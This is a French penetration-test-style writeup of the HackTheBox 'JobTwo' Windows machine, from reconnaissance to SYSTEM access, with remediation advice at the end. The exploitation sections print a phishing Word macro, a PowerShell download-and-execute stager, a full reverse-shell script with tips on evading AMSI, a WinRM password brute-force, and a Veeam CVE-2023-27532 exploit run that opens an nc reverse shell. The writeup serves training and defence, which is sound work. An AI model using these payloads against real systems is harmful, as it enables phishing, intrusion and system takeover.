RAPPORT DE PENTEST

# JobTwo – HackTheBox Writeup

| CLIENT | AUTEUR DU RAPPORT | RÔLE DE L'AUTEUR | PÉRIODE |
|---|---|---|---|
| HackTheBox | Philippe Bécué | Pen-tester | 22/02/2026 - 22/02/2026 |

Ce rapport est publié avec l'accord du client, une fois les vulnérabilités corrigées.

# Sommaire

01 **Avertissement — Simulation / CTF**
Informations légales, confidentialité et conditions d'utilisation de ce document

02 **Vidéo Démo**
Démonstration vidéo de l'exploitation ou du déroulement de la mission

03 **Tableau des vulnérabilités**
Grille de classification des niveaux de gravité et scores CVSS utilisés dans ce rapport

04 **Liste des intervenants**
Présentation des membres de l'équipe ayant participé à la mission de test d'intrusion

05 **Scope**
Définition du périmètre d'audit — systèmes et applications inclus et exclus du test

06 **Information Gathering**
Collecte d'informations publiques sur la cible : WHOIS, DNS, certificats SSL, technologies exposées

07 **OSINT**
Reconnaissance en sources ouvertes — réseaux sociaux, fuites de données, empreinte numérique

08 **Enumeration**
Découverte des services, ports ouverts, versions logicielles et points d'entrée identifiés

09 **Analyse de vulnérabilités**
Identification, qualification et classification des failles de sécurité découvertes

10 **Exploitation**
Démonstration technique de l'exploitation des vulnérabilités confirmées

11 **Post-Exploitation**
Actions post-compromission — élévation de privilèges, persistance et mouvement latéral

12 **Tableau de synthèse des vulnérabilités**
Récapitulatif consolidé de toutes les vulnérabilités avec leur score CVSS et leur criticité

13 **Conclusion**
Synthèse de la mission, bilan global du niveau de sécurité et évaluation du risque

14 **Solution**
Recommandations techniques et organisationnelles pour remédier aux vulnérabilités identifiées

01

# Avertissement — Simulation / CTF

Le présent document est le compte-rendu d'une mission réalisée dans un cadre simulé, à des fins exclusivement pédagogiques et d'entraînement. L'infrastructure ciblée est une machine virtuelle ou un environnement de type Capture The Flag (CTF), volontairement vulnérable et conçu pour l'apprentissage des techniques offensives et défensives en cybersécurité. Aucun système de production réel, aucune donnée personnelle et aucune infrastructure tiers n'ont été impliqués lors de cette mission.

Les techniques, outils et méthodes décrits dans ce rapport sont présentés à titre éducatif. Leur reproduction sur des systèmes informatiques sans autorisation explicite du propriétaire est illégale et passible de poursuites pénales en vertu de la législation applicable en matière de cybercriminalité. L'auteur décline toute responsabilité en cas d'utilisation détournée des informations contenues dans ce document à des fins malveillantes ou non autorisées.

Ce rapport s'inscrit dans une démarche de montée en compétences et de documentation des savoir-faire en sécurité offensive. Il peut être partagé à des fins de démonstration ou de référence professionnelle dans le respect des conditions d'utilisation de la plateforme ou de l'organisateur du challenge concerné. Toute reproduction partielle ou totale à des fins commerciales est interdite sans autorisation préalable de l'auteur.

02

# Vidéo Démo

Une démonstration vidéo de cette mission est disponible en ligne. La vidéo illustre le déroulement de l'exploitation et les techniques mises en œuvre.

Video

LIEN VERS LA VIDÉO

https://www.youtube.com/watch?v=80obupHHwuE

03

# Tableau des vulnérabilités

Le tableau suivant définit les niveaux de gravité et les plages de scores CVSS correspondantes utilisés dans tout le document pour évaluer la vulnérabilité et l'impact des risques.

| GRAVITÉ | PLAGE DE SCORE CVSS V3 | DÉFINITION |
|---|---|---|
| CRITIQUE | 9.0 – 10.0 | L'exploitation est simple et aboutit généralement à une compromission totale du système. Il est conseillé d'établir un plan d'action et d'appliquer le correctif immédiatement. |
| ÉLEVÉE | 7.0 – 8.9 | L'exploitation est plus difficile mais peut entraîner une élévation de privilèges et potentiellement une perte de données ou une interruption de service. Il est conseillé d'établir un plan d'action et d'appliquer le correctif dès que possible. |
| MODÉRÉE | 4.0 – 6.9 | Des vulnérabilités existent mais ne sont pas directement exploitables ou nécessitent des étapes supplémentaires comme l'ingénierie sociale. Il est conseillé d'établir un plan d'action et d'appliquer le correctif après résolution des problèmes prioritaires. |
| FAIBLE | 0.1 – 3.9 | Les vulnérabilités ne sont pas exploitables mais réduiraient la surface d'attaque de l'organisation. Il est conseillé d'établir un plan d'action et d'appliquer le correctif lors de la prochaine fenêtre de maintenance. |
| INFORMATIVE | N/A | Aucune vulnérabilité n'existe. Des informations supplémentaires sont fournies concernant les éléments remarqués lors des tests, les contrôles solides et la documentation complémentaire. |

04

# Liste des intervenants

| NOM | RÔLE | EMAIL | ENVIRONNEMENT |
|---|---|---|---|
| **Philippe Bécué** | Pen-tester | contact@white-hat.fr | Kali Linux |

05

# Scope

## Portée du test

| NOM | DÉTAILS |
| --- | --- |
| **10.129.7.25** | Machine HackTheBox – JobTwo (Windows, Hard) |

## Exclusions du scope

*Aucune exclusion définie. Cliquez sur "Ajouter une exclusion" pour commencer.*

06

# Information Gathering

Le scan `nmap` est lancé en mode agressif contre la cible. La désactivation de la découverte d'hôte (`-Pn`) est nécessaire car les pings ICMP sont filtrés dans cet environnement :

```
nmap -v 10.129.7.25 -A -T4 -Pn
```

Le résultat révèle une machine **Windows Server 2022** avec une surface d'attaque particulièrement étendue. Voici les ports ouverts identifiés :

```
PORT      STATE SERVICE              VERSION
22/tcp    open  ssh                  OpenSSH for_Windows_9.5 (protocol 2.0)
25/tcp    open  smtp                 hMailServer smtpd
| smtp-commands: JOB2, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp    open  http                 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
111/tcp   open  rpcbind
135/tcp   open  msrpc                Microsoft Windows RPC
139/tcp   open  netbios-ssn          Microsoft Windows netbios-ssn
443/tcp   open  ssl/https?
| ssl-cert: Subject: commonName=www.job2.vl
| Subject Alternative Name: DNS:job2.vl, DNS:www.job2.vl
| Issuer: commonName=www.job2.vl
| Public Key bits: 2048
| Not valid before: 2023-05-09T13:31:40
445/tcp   open  microsoft-ds?
1063/tcp  open  rpcbind
2049/tcp  open  rpcbind
3389/tcp  open  ms-wbt-server        Microsoft Terminal Services
| ssl-cert: Subject: commonName=JOB2
5985/tcp  open  http                 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
10001/tcp open  msexchange-logcopier Microsoft Exchange 2010 log copier
10002/tcp open  msexchange-logcopier Microsoft Exchange 2010 log copier
10003/tcp open  storagecraft-image   StorageCraft Image Manager
```

```
Running: Microsoft Windows 2022 (86%)
Service Info: Host: JOB2; OS: Windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
```

L'analyse des résultats fait ressortir plusieurs points d'intérêt :

- **Port 25 (SMTP)** : Le banner `hMailServer smtpd` identifie un serveur de messagerie Windows classique. Le hostname `JOB2` est confirmé.
- **Ports 80/443 (HTTP/HTTPS)** : Un serveur web est accessible. Le certificat SSL du port 443 révèle les domaines `job2.vl` et `www.job2.vl` — informations précieuses pour la suite.
- **Port 5985 (WinRM)** : Windows Remote Management est actif, vecteur potentiel d'accès distant si des credentials valides sont obtenus.
- **Port 3389 (RDP)** : Bureau à distance également disponible.
- **Ports 10001–10003** : Ces services sont caractéristiques d'une installation **Veeam Backup & Replication**, un logiciel de sauvegarde d'entreprise souvent négligé du point de vue de la sécurité.
- **SMB signing non enforced** : La signature SMB est activée mais non obligatoire, ce qui ouvre la porte à des attaques de type NTLM relay si des identifiants sont capturés.

On ajoute immédiatement les entrées DNS dans `/etc/hosts` pour résoudre les noms de domaine identifiés dans le certificat SSL :

```
echo '10.129.7.25  job2.vl www.job2.vl' | sudo tee -a /etc/hosts
```

07

# OSINT

Après avoir identifié Veeam Backup & Replication parmi les services actifs (ports 10001–10003), une recherche ciblée sur les vulnérabilités connues est effectuée. On tombe rapidement sur **CVE-2023-27532**, une vulnérabilité d'exécution de code à distance documentée par Rapid7 en mars 2023.

Selon les analyses disponibles, cette faille affecte :

- **Veeam Backup & Replication version 12** antérieure au build *12.0.0.1420 P20230223*
- **Veeam Backup & Replication version 11** antérieure au build *11.0.1.1261 P20230227*

La faille réside dans le **Veeam Mount Service** — un composant qui écoute localement sur un port RPC dédié. Un proof-of-concept est disponible publiquement sur GitHub (CVE-2023-27532-RCE-Only), ce qui en fait une cible de choix si la version installée sur la machine est vulnérable. On garde cette piste de côté pour la phase de post-exploitation.

08

# Enumeration

### Exploration du serveur web

En naviguant sur `http://www.job2.vl`, on accède à une page d'accueil présentant une entreprise fictive. Le site annonce qu'un poste est à pourvoir et invite les candidats à envoyer leur CV sous forme de **document Microsoft Word** à l'adresse **hr@job2.vl**.

C'est l'unique point d'interaction disponible sur toute la surface web : pas de formulaire, pas de panneau d'administration, pas de répertoire exposé. Le vecteur d'attaque initial est sans équivoque : une **attaque de phishing par pièce jointe malveillante**. Le serveur SMTP hMailServer sur le port 25 est le canal de livraison.

### Vérification de la version Veeam (post-accès initial)

Une fois un premier accès obtenu sur la machine, on vérifie la version exacte de Veeam installée en interrogeant les métadonnées d'une DLL principale :

```
(Get-Item 'C:\Program Files\Veeam\Backup and
Replication\Backup\Veeam.Backup.Core.dll').VersionInfo.FileVersion
```

La commande retourne **10.0.1.4854** — un build bien antérieur aux correctifs publiés pour CVE-2023-27532, ce qui confirme que la cible est exploitable.

09

# Analyse de vulnérabilités

### CVE-2023-27532 – Veeam Backup & Replication : RCE via désérialisation

**CVE-2023-27532** est une vulnérabilité d'exécution de code à distance (**RCE**) affectant le composant *Veeam Mount Service* de Veeam Backup & Replication. Pour comprendre cette faille, il faut d'abord comprendre le rôle de ce service.

Le Veeam Mount Service est un démon Windows qui écoute sur un port RPC local. Il est chargé de monter des images de sauvegarde pour permettre leur lecture. Ce service s'exécute avec les privilèges **SYSTEM** (via le processus `sqlserver.exe` de Veeam), ce qui en fait une cible de choix pour une élévation de privilèges.

La vulnérabilité elle-même réside dans une **désérialisation non sécurisée** des objets .NET transmis à ce service. Concrètement : lorsqu'on envoie une requête malformée au service, celui-ci tente de désérialiser les données sans vérification suffisante. Cela permet à un attaquant local de lui faire exécuter une commande arbitraire — y compris le lancement d'un reverse shell — dans le contexte SYSTEM.

Condition requise : disposer d'un accès local à la machine (même avec de faibles privilèges), ce qui est le cas une fois Ferdinand compromis. Score CVSS : **7.5 (High)**.

10

# Exploitation

### Création du document Word malveillant

L'objectif est de créer un fichier `.doc` contenant une macro VBA qui s'exécute **automatiquement à l'ouverture** du document. Dans Microsoft Word, on accède au menu **Affichage → Macros**, on crée une nouvelle macro et on y insère le code suivant :

```
Sub AutoOpen()
    LancerPayload
End Sub

Sub Document_Open()
    LancerPayload
End Sub

Sub LancerPayload()
    Dim Commande As String
    Commande = Commande + "powershell.exe -nop -w hidden -e "
    Commande = Commande + "<BASE64_PAYLOAD>"
    CreateObject("Wscript.Shell").Run Commande
End Sub
```

Deux déclencheurs sont utilisés (`AutoOpen` et `Document_Open`) pour maximiser la compatibilité selon la version de Word de la victime. PowerShell est lancé en mode fenêtre cachée (`-w hidden`) avec un payload encodé en Base64, ce qui rend la commande moins détectable par une analyse basique des arguments.

Une fois la macro enregistrée, le document est sauvegardé au format `.doc` (ancien format, compatible macros). Le fichier est ensuite transféré sur la machine Kali pour être utilisé comme pièce jointe.

### Génération du payload PowerShell two-stage

Le payload encodé en Base64 correspond à une commande PowerShell qui **télécharge et exécute un second script** depuis notre serveur HTTP. Ce fonctionnement en deux étapes est intentionnel : la macro ne contient que du code de téléchargement anodin, tandis que le vrai reverse shell est hébergé sur notre serveur et jamais écrit sur disque.

On génère d'abord la commande de téléchargement encodée en Base64 UTF-16LE (format attendu par PowerShell pour l'option `-e`) :

```
echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://<VOTRE_IP>/charge.txt")' | iconv -t utf-16le | base64 -w 0
```

La chaîne Base64 générée est celle qui remplace `<BASE64_PAYLOAD>` dans la macro. Le fichier `charge.txt` hébergé sur notre serveur HTTP contient le reverse shell PowerShell. L'antivirus étant actif sur la machine cible, le script doit être adapté pour contourner les protections AMSI. Le reverse shell PowerShell de base (à adapter et à obfusquer) ressemble à ceci :

```
$c = New-Object System.Net.Sockets.TCPClient('<VOTRE_IP>', 4444)
$s = $c.GetStream()
[byte[]]$b = 0..65535|%{0}
while(($i = $s.Read($b, 0, $b.Length)) -ne 0) {
    $d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b, 0, $i)
    $r = (iex $d 2>&1 | Out-String)
    $r2 = $r + 'PS ' + (pwd).Path + '> '
    $rb = ([text.encoding]::ASCII).GetBytes($r2)
    $s.Write($rb, 0, $rb.Length)
    $s.Flush()
}
$c.Close()
```

Ce script établit une connexion TCP sortante vers notre machine d'attaque, puis boucle en lisant les commandes envoyées par le listener et en retournant leurs résultats. Pensez à encoder ce script avec des techniques d'obfuscation (substitution de chaînes, découpage, etc.) pour passer l'AMSI.

### Infrastructure d'attaque et envoi du document

Trois terminaux sont ouverts en parallèle pour orchestrer l'attaque :

```
# Terminal 1 - Serveur HTTP pour distribuer les fichiers de payload
python3 -m http.server 80

# Terminal 2 - Listener Netcat pour intercepter le reverse shell
nc -lvnp 4444

# Terminal 3 - Envoi de l'email avec la pièce jointe malveillante
sendemail -s 10.129.7.25:25 \
  -f "candidat <candidat@emploi-pro.co>" \
  -t hr@job2.vl \
  -o tls=no \
  -m "Bonjour, veuillez trouver mon CV en pièce jointe. Cordialement." \
  -a candidature.doc

Email was sent successfully!
```

Le serveur HTTP va distribuer `charge.txt` quand la cible exécutera la macro. Le listener attend la connexion entrante du reverse shell. L'email est envoyé sans TLS car le port 25 de hMailServer accepte les connexions non chiffrées.

Après quelques minutes (le temps que la pièce jointe soit traitée), le fichier est ouvert côté cible, la macro s'exécute, et notre listener reçoit la connexion :

```
listening on [any] 4444 ...
connect to [<VOTRE_IP>] from (UNKNOWN) [10.129.7.25] 49832
PS C:\Users\Administrator\Desktop>
```

Un accès initial à la machine Windows est établi. La session PowerShell s'exécute dans le contexte de l'utilisateur qui a ouvert le document.

11

# Post-Exploitation

### Brute-force WinRM – Obtention du flag utilisateur

L'énumération classique via le reverse shell (répertoires, registre, services, fichiers de configuration) ne remonte rien d'immédiatement exploitable. On change d'approche : le service WinRM (port 5985) offre un accès distant stable, et si un utilisateur du système utilise un mot de passe faible, cela peut suffire.

On cible l'utilisateur **Ferdinand** — dont l'existence a été déterminée lors de l'énumération — avec une liste de mots de passe courants en utilisant `netexec` :

```
nxc winrm 10.129.7.25 -u 'Ferdinand' -p /usr/share/wordlists/rockyou.txt
WINRM  10.129.7.25  5985  JOB2  [*] Windows Server 2022 Build 20348 (name:JOB2) (domain:JOB2)
WINRM  10.129.7.25  5985  JOB2  [-] JOB2\Ferdinand:123456
WINRM  10.129.7.25  5985  JOB2  [-] JOB2\Ferdinand:12345
WINRM  10.129.7.25  5985  JOB2  [-] JOB2\Ferdinand:123456789
WINRM  10.129.7.25  5985  JOB2  [-] JOB2\Ferdinand:password
WINRM  10.129.7.25  5985  JOB2  [-] JOB2\Ferdinand:iloveyou
WINRM  10.129.7.25  5985  JOB2  [-] JOB2\Ferdinand:princess
...
WINRM  10.129.7.25  5985  JOB2  [+] JOB2\Ferdinand:Franzi123! (Pwn3d!)
```

Le mot de passe **Franzi123!** est trouvé après un brute-force patient. C'est un rappel que même lorsque aucun exploit évident n'est disponible, une politique de mots de passe laxiste reste un vecteur d'attaque redoutablement efficace. On se connecte ensuite via Evil-WinRM :

```
evil-winrm -i 10.129.7.25 -u Ferdinand -p 'Franzi123!'
```

On récupère le flag utilisateur :

```
*Evil-WinRM* PS C:\Users\Ferdinand\Desktop> type user.txt
<hash>
```

### Élévation de privilèges – CVE-2023-27532 (Veeam)

Une fois connecté en tant que Ferdinand, on liste les processus en cours d'exécution. Plusieurs processus Veeam Backup sont immédiatement visibles — confirmant que la piste identifiée en phase OSINT est pertinente. On vérifie la version exacte du logiciel installé :

```
*Evil-WinRM* PS C:\Users\Ferdinand\Documents> (Get-Item 'C:\Program Files\Veeam\Backup and
Replication\Backup\Veeam.Backup.Core.dll').VersionInfo.FileVersion
10.0.1.4854
```

La version **10.0.1.4854** est bien antérieure aux correctifs. On prépare l'exploitation en téléchargeant le PoC public depuis GitHub, puis on transfère tous les binaires et DLL requis sur la machine cible via la fonction d'upload intégrée d'Evil-WinRM :

```
*Evil-WinRM* PS C:\Users\Ferdinand\Documents> upload /opt/CVE-2023-27532/pwn_veeam.exe
Info: Uploading pwn_veeam.exe to C:\Users\Ferdinand\Documents\pwn_veeam.exe
Data: 9556 bytes of 9556 bytes copied
Info: Upload successful!

*Evil-WinRM* PS C:\Users\Ferdinand\Documents> upload /opt/CVE-2023-27532/Veeam.Backup.Common.dll
Info: Upload successful!

*Evil-WinRM* PS C:\Users\Ferdinand\Documents> upload /opt/CVE-2023-27532/Veeam.Backup.Model.dll
Info: Upload successful!

*Evil-WinRM* PS C:\Users\Ferdinand\Documents> upload /opt/CVE-2023-
27532/Veeam.Backup.Interaction.MountService.dll
Info: Upload successful!

*Evil-WinRM* PS C:\Users\Ferdinand\Documents> upload /opt/nc64.exe
Info: Upload successful!
```

L'exploit a besoin des DLL Veeam correspondantes pour charger les bons types .NET lors de la désérialisation. Ces DLL sont copiées depuis l'installation Veeam locale ou téléchargées depuis le dépôt GitHub du PoC.

### Exécution de l'exploit et obtention du shell SYSTEM

On démarre un listener Netcat sur notre machine d'attaque pour intercepter le shell SYSTEM :

```
nc -lvnp 9090
```

Puis on lance l'exploit en ciblant le Veeam Mount Service en écoute sur le loopback local (`127.0.0.1`). On lui passe en paramètre la commande à exécuter — en l'occurrence, un appel à `nc64.exe` pour établir un reverse shell :

```
*Evil-WinRM* PS C:\Users\Ferdinand\Documents> .\pwn_veeam.exe --target 127.0.0.1 --cmd
"C:\Users\Ferdinand\Documents\nc64.exe <VOTRE_IP> 9090 -e cmd.exe"
```

Quelques secondes plus tard, notre listener reçoit une connexion entrante. On vérifie l'identité du contexte d'exécution :

```
C:\Windows\system32> whoami
nt authority\system
```

L'exploitation est un succès total. Le Veeam Mount Service a bien exécuté la commande en tant que **SYSTEM**, l'utilisateur le plus privilégié de Windows. On récupère le flag root :

```
C:\Users\Administrator\Desktop> type root.txt
<hash>
```

12

# Tableau de synthèse des vulnérabilités

### Macro VBA malveillante dans un document Word (phishing) — HIGH

| APPLICATION | PORT | TYPE |
|---|---|---|
| Microsoft Word / hMailServer SMTP | 25 | RCE |

IMPACT PRINCIPAL

Exécution automatique d'un reverse shell PowerShell à l'ouverture du document par la victime

### Mot de passe faible – brute-force WinRM — MEDIUM

| APPLICATION | PORT | TYPE |
|---|---|---|
| WinRM (Evil-WinRM / netexec) | 5985 | Privilege Escalation |

IMPACT PRINCIPAL

Accès distant au compte Ferdinand par brute-force du service WinRM

### CVE-2023-27532 – Veeam Backup & Replication RCE local — CRITICAL

| APPLICATION | PORT | TYPE |
|---|---|---|
| Veeam Backup & Replication 10.0.1.4854 | 10001 | RCE |

IMPACT PRINCIPAL

Exécution de commandes arbitraires sous le contexte SYSTEM via le Veeam Mount Service

13

# Conclusion

La machine JobTwo illustre une chaîne d'attaque réaliste et bien construite sur un environnement Windows entreprise. Chaque étape s'appuie sur des erreurs de configuration ou des négligences de sécurité courantes dans les organisations :

1. **Reconnaissance Nmap** : Identification d'un Windows Server 2022 exposant SMTP (hMailServer), HTTP/HTTPS, WinRM, RDP et les ports caractéristiques de Veeam Backup (10001–10003)
2. **Énumération web** : Le site `www.job2.vl` révèle une adresse email RH, seul point d'entrée disponible — ce qui oriente directement vers un vecteur de phishing
3. **Phishing par macro VBA** : Un document Word contenant une macro `AutoOpen` déclenche l'exécution d'un reverse shell PowerShell two-stage à l'ouverture par la victime, contournant les détections AMSI par obfuscation
4. **Brute-force WinRM** : En l'absence d'informations exploitables via le shell initial, le compte de l'utilisateur Ferdinand est compromis par brute-force grâce à un mot de passe présent dans les wordlists courantes
5. **CVE-2023-27532 (Veeam)** : La version non patchée de Veeam Backup & Replication (10.0.1.4854) permet une escalade de privilèges locale vers SYSTEM via une désérialisation non sécurisée dans le Mount Service

Ce que cette machine enseigne avant tout : les logiciels métier (messagerie, sauvegarde) sont souvent les parents pauvres de la sécurité. Un hMailServer qui accepte tout SMTP entrant sans filtrage de pièces jointes, combiné à un utilisateur qui ouvre des documents reçus par email, suffit à ouvrir une porte d'entrée. Et une instance Veeam non mise à jour transforme un accès bas-privilège en compromission totale.

14

# Solution

### 1. Filtrer les pièces jointes et désactiver les macros automatiques

La première ligne de défense est côté messagerie. hMailServer dispose de filtres de contenu configurables qui permettent de bloquer les pièces jointes à risque (formats `.doc`, `.docm`, `.xlsm`, `.exe`, etc.) avant même qu'elles n'atteignent la boîte de réception.

Côté poste de travail, les macros VBA doivent être désactivées ou restreintes aux macros signées numériquement via les stratégies de groupe Office (GPO) :

- Activer la politique **"Désactiver toutes les macros avec notification"** pour les environnements standard
- Activer **"Désactiver toutes les macros sans notification"** dans les environnements sensibles où aucune macro métier n'est nécessaire
- Activer **Protected View** pour toutes les pièces jointes reçues par email

### 2. Renforcer la politique de mots de passe et sécuriser WinRM

Le compte Ferdinand utilisait un mot de passe trivial présent dans les wordlists les plus répandues. Des mesures correctives simples auraient rendu le brute-force infaisable :

- Imposer une longueur minimale de **14 caractères** pour tous les comptes
- Intégrer un contrôle de mots de passe compromis via Have I Been Pwned (API gratuite)
- Activer un **verrouillage de compte** après N tentatives d'authentification infructueuses (Account Lockout Policy dans les GPO)
- Restreindre l'accès WinRM aux seules adresses IP des postes d'administration via le pare-feu Windows ( `netsh advfirewall firewall`)

### 3. Mettre à jour Veeam Backup & Replication

La version **10.0.1.4854** est affectée par CVE-2023-27532 (CVSS 7.5). La correction est une simple mise à jour vers un build patché :

- **Version 12** : mettre à jour vers le build *12.0.0.1420 P20230223* ou supérieur
- **Version 11** : mettre à jour vers le build *11.0.1.1261 P20230227* ou supérieur

Référence officielle : Veeam Knowledge Base – Security Advisory CVE-2023-27532

En complément, les ports Veeam (10001–10003) doivent être filtrés par pare-feu pour n'être accessibles que depuis les serveurs d'administration Veeam désignés, et jamais depuis des postes utilisateurs.

### 4. Réduire la surface d'attaque réseau

Cette machine expose des services sensibles inutilement sur le réseau :

- **Port 25 (SMTP)** : Si hMailServer est un serveur de messagerie interne, le port 25 ne devrait pas être accessible depuis l'extérieur. Si un accès entrant est nécessaire, mettre en place un relais de messagerie frontal avec filtrage antivirus et anti-spam.
- **Port 5985 (WinRM)** : Accessible uniquement depuis un réseau de gestion dédié (VLAN d'administration, bastion host).
- **Port 3389 (RDP)** : Idem — si un accès distant est nécessaire, passer par un VPN ou un bastion, jamais en exposition directe sur Internet.
- **Port 2049 (NFS)** : NFS sur Windows est inhabituel et potentiellement dangereux ; désactiver si inutilisé.